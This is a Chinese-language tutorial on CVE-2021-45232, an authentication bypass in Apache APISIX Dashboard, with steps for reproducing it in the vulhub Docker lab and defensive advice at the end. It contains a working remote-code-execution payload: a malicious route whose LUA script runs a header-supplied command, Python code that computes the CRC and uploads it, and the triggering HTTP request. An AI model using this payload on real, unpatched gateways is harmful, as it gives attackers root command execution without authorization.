Apache APISIX Dashboard CVE-2021-45232 未授权 API 权限绕过导致 RCE:漏洞原理与 vulhub 环境复现指南
2026/9/13 23:00:34 网站建设 项目流程

Apache APISIX Dashboard CVE-2021-45232 未授权 API 权限绕过导致 RCE:漏洞原理与 vulhub 环境复现指南

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

Apache APISIX 是一个动态、实时、高性能的 API 网关,Apache APISIX Dashboard 则是其配套的图形化管理面板。在 Dashboard 2.10.1 之前,管理接口中/apisix/admin/migrate/export/apisix/admin/migrate/import两个迁移 API 未经过权限验证,攻击者可未授权导出、导入网关的全部配置(路由、服务、脚本等),并借此让 APISIX 访问任意内网地址(SSRF),甚至通过注入恶意路由执行任意 LUA 脚本(RCE)。本文基于 vulhub 仓库中 apisix/CVE-2021-45232 提供的漏洞环境,从框架层漏洞成因、环境搭建、POC 脚本到完整复现流程逐步讲解,读完即可独立搭建并复现该漏洞,同时理解其绕过认证的技术本质。

漏洞概述

项目内容
CVE 编号CVE-2021-45232
影响组件Apache APISIX Dashboard(Manager API)
影响版本2.10.1 之前
漏洞类型认证绕过 → 配置导入导出 → SSRF / RCE
触发条件Dashboard 与 APISIX 连接同一个 etcd,攻击者可访问 Dashboard 管理端口(默认 9000)
攻击后果未授权导出/导入网关全部配置;注入恶意路由执行任意 LUA 脚本(以 root 身份)

攻击者利用这两个未授权接口,可以导出、导入当前网关的所有配置项,包括路由(Route)、服务(Service)、脚本(Script)等。通过导入精心构造的恶意路由,可以让 Apache APISIX 访问任意网站(SSRF),甚至执行任意 LUA 脚本(RCE)。

漏洞成因:gin 与 droplet 双框架下的认证盲区

要理解该漏洞,需要先了解 Dashboard Manager API 的框架架构。根据仓库 README.md 的说明:

In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces frameworkdropleton the basis of frameworkgin, all APIs and authentication middleware are developed based on frameworkdroplet. But there are 2 of these APIs/apisix/admin/migrate/exportand/apisix/admin/migrate/importdirectly use the interface of frameworkginwhich are able to bypass the authentication.

即:Dashboard 的 Manager API 在gin框架基础上引入了droplet框架,所有 API 与认证中间件都基于droplet开发。但其中有 2 个 API(即迁移导出/导入接口)直接使用了gin框架的原生接口,从而绕过了基于 droplet 的认证中间件,成为未授权访问点。

这属于典型的"框架混用导致的认证覆盖不全"问题——安全防护建立在统一中间件之上,而个别接口绕开了该中间件体系,导致防护失效。

漏洞环境搭建

vulhub 在 apisix/CVE-2021-45232 目录下提供了完整的 Docker Compose 漏洞环境。执行如下命令启动一个有漏洞的 Apache APISIX Dashboard 2.9:

docker compose up -d

启动完成后访问http://your-ip:9000/即可看到 Apache APISIX Dashboard 的登录页面(9000 端口为 Dashboard 管理端口)。

环境组成与端口规划

查看 docker-compose.yml,该环境由三个服务组成:

服务镜像端口映射作用
apisixvulhub/apisix:2.99080 / 9091 / 9443APISIX 网关本体(数据面)
dashboardvulhub/apisix-dashboard:2.9.09000Dashboard 管理面板(控制面)
etcdgcr.io/etcd-development/etcd:v3.4.152379配置存储中心,APISIX 与 Dashboard 的配置枢纽

其中apisix服务将本地的 apisix.yml 挂载为/usr/local/apisix/conf/config.yamldashboard服务将本地的 dashboard.yml 挂载为/usr/local/apisix-dashboard/conf/conf.yaml

基础镜像分别定义在 base/apisix/2.9/Dockerfile(基于apache/apisix:2.9-centos)与 base/apisix-dashboard/2.9.0/Dockerfile(基于apache/apisix-dashboard:2.9.0)中。

关键配置解析

APISIX 网关配置(apisix.yml):

apisix: node_listen: 9080 # APISIX 监听端口 enable_ipv6: false etcd: host: # 支持配置多个 etcd 地址 - "http://etcd:2379" # 同一 etcd 集群的多个地址 prefix: "/apisix" # apisix 配置前缀 timeout: 30 # 30 秒

Dashboard 管理接口配置(dashboard.yml):

conf: listen: host: 0.0.0.0 # `manager api` 监听 IP 或主机名 port: 9000 # `manager api` 监听端口 allow_list: # 若未设置任何 IP 列表,则默认允许任意 IP 访问 - 0.0.0.0/0 etcd: endpoints: # 支持为一个 etcd 集群定义多个主机地址 - "http://etcd:2379" authentication: secret: s3cr3t # 用于生成 jwt token 的密钥 # 注意:强烈建议修改此值以保护 `manager api` # 若使用默认值,`manager api` 启动时会生成随机字符串替换 expire_time: 3600 # jwt token 过期时间,单位秒 users: - username: admin # 登录 `manager api` 的用户名 password: vulhub

注意allow_list的注释明确说明:若未设置任何 IP 列表,默认允许任意 IP 访问。本环境使用0.0.0.0/0,即完全放开来源限制,与漏洞点叠加后,任何可访问 9000 端口的攻击者都能直接利用未授权接口。

漏洞复现

复现思路

利用/apisix/admin/migrate/export/apisix/admin/migrate/import两个 Apache APISIX Dashboard 提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含构造的 LUA 脚本:

POST /apisix/admin/migrate/import HTTP/1.1 Host: your-ip:9000 Content-Type: multipart/form-data (multipart 文件字段上传恶意配置,文件最后 4 字节为 CRC 校验码)

需要特别注意的是:这个配置文件的最后 4 个字符(字节)是当前文件的 CRC 校验码,若校验失败导入会被拒绝。因此最好通过自动化工具来生成和发送这个利用数据包,例如仓库中自带的 apisix_dashboard_rce.py。

POC 脚本分析

仓库自带的 POC apisix_dashboard_rce.py 完整实现了"计算 CRC → 构造恶意路由 → 导入"的自动化流程,核心逻辑如下。

1. 恶意路由配置(eval_config

eval_config = { "Counsumers": [], "Routes": [ { "id": str(random.randint(100000000000000000, 1000000000000000000)), "create_time": 1640674554, "update_time": 1640677637, "uris": ["/rce"], "name": "rce", "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"], "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)", "status": 1 } ], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": [] }

该配置模拟了迁移导出文件的完整 JSON 结构(Routes / Services / SSLs / Upstreams / Scripts / GlobalPlugins / PluginConfigs 等字段),其中核心是Routes中的恶意路由:

  • uris为随机生成的访问路径;
  • script字段是恶意 LUA 脚本:通过ngx.req.get_headers()['cmd']读取请求头中的cmd值,用io.popen执行系统命令,并将结果通过ngx.say返回给攻击者;
  • methods覆盖全部 HTTP 方法,保证任何请求方式都能命中。

2. CRC 校验码计算

def calc_crc(data): crc32 = zlib.crc32(data) & 0xffffffff return crc32.to_bytes(4, byteorder="big") def import_data(url, data): data = json.dumps(data).encode() crc32 = calc_crc(data) files = {"file": ("data", data + crc32, "text/data")} resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False) if resp.json().get("code", -1) == 0: return True ...

关键点:先用json.dumps序列化配置,用zlib.crc32计算 32 位 CRC 并以大端序 4 字节追加到文件末尾,再以multipart/form-data文件上传方式 POST 到/apisix/admin/migrate/importzlib.crc32& 0xffffffff保证了结果在 Python 2/3 下一致。

3. 使用方式

python apisix_dashboard_rce.py http://127.0.0.1:9000

脚本执行后会打印attack success以及生成的恶意 URI 路径。

触发恶意路由,执行任意命令

添加完恶意路由后,需要访问Apache APISIX中对应的路径来触发前面添加的脚本。这里必须区分两个服务:

Apache APISIX 和 Apache APISIX Dashboard 是两个不同的服务,Apache APISIX Dashboard 只是一个管理页面,而添加的路由位于 Apache APISIX 中,所以需要找到 Apache APISIX 监听的端口或域名。

在当前环境下,Apache APISIX 监听在9080端口。向your-ip:9080发送如下数据包:

GET /okw1Rh HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close CMD: id Cache-Control: max-age=0

如截图所示,请求中的CMD: id请求头被恶意 LUA 脚本读取并执行,响应中返回了id命令的执行结果(uid=0(root) gid=0(root) groups=0(root)),即以root 权限执行任意命令,RCE 完全成立。

结合 POC 脚本可见,恶意路由的script读取的请求头为cmd(小写),因此手动构造数据包时请求头可写成CMD: id(HTTP 头大小写不敏感)或直接cmd: id,两者等价。

攻击面本质与防护要点

该漏洞的本质是Dashboard(控制面)漏洞,而非 APISIX 数据面漏洞。正如原文档强调的:

这个漏洞是 Apache APISIX Dashboard 的漏洞,而 Apache APISIX 无需配置 IP 白名单或管理 API,只要二者连通同一个 etcd 即可。

也就是说,攻击是否成功取决于以下前提:

  1. 攻击者可访问 Dashboard 的 Manager API(默认 9000 端口);
  2. Dashboard 与 APISIX 共享同一个 etcd;
  3. Dashboard 版本在 2.10.1 之前,迁移接口未经过 droplet 认证。

防御建议:

  • 升级 Apache APISIX Dashboard 至 2.10.1 及以上版本,修复迁移接口的认证绕过;
  • 若无法及时升级,应通过防火墙/安全组限制 9000 管理端口的访问来源,避免暴露在不可信网络;
  • 修改 dashboard.yml 中authentication.secret的默认 JWT 密钥,并更换默认管理员口令(本环境为admin / vulhub);
  • 对 APISIX 的 etcd 端口(默认 2379)同样做好网络隔离,防止配置被直接篡改。

参考链接

  • Apache APISIX 官方漏洞公告(Dashboard CVE-2021-45232)
  • 漏洞环境 Docker Compose 配置
  • 自动化利用 POC 脚本
  • APISIX 网关配置文件
  • Dashboard 管理接口配置文件
  • vulhub 漏洞环境总览

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询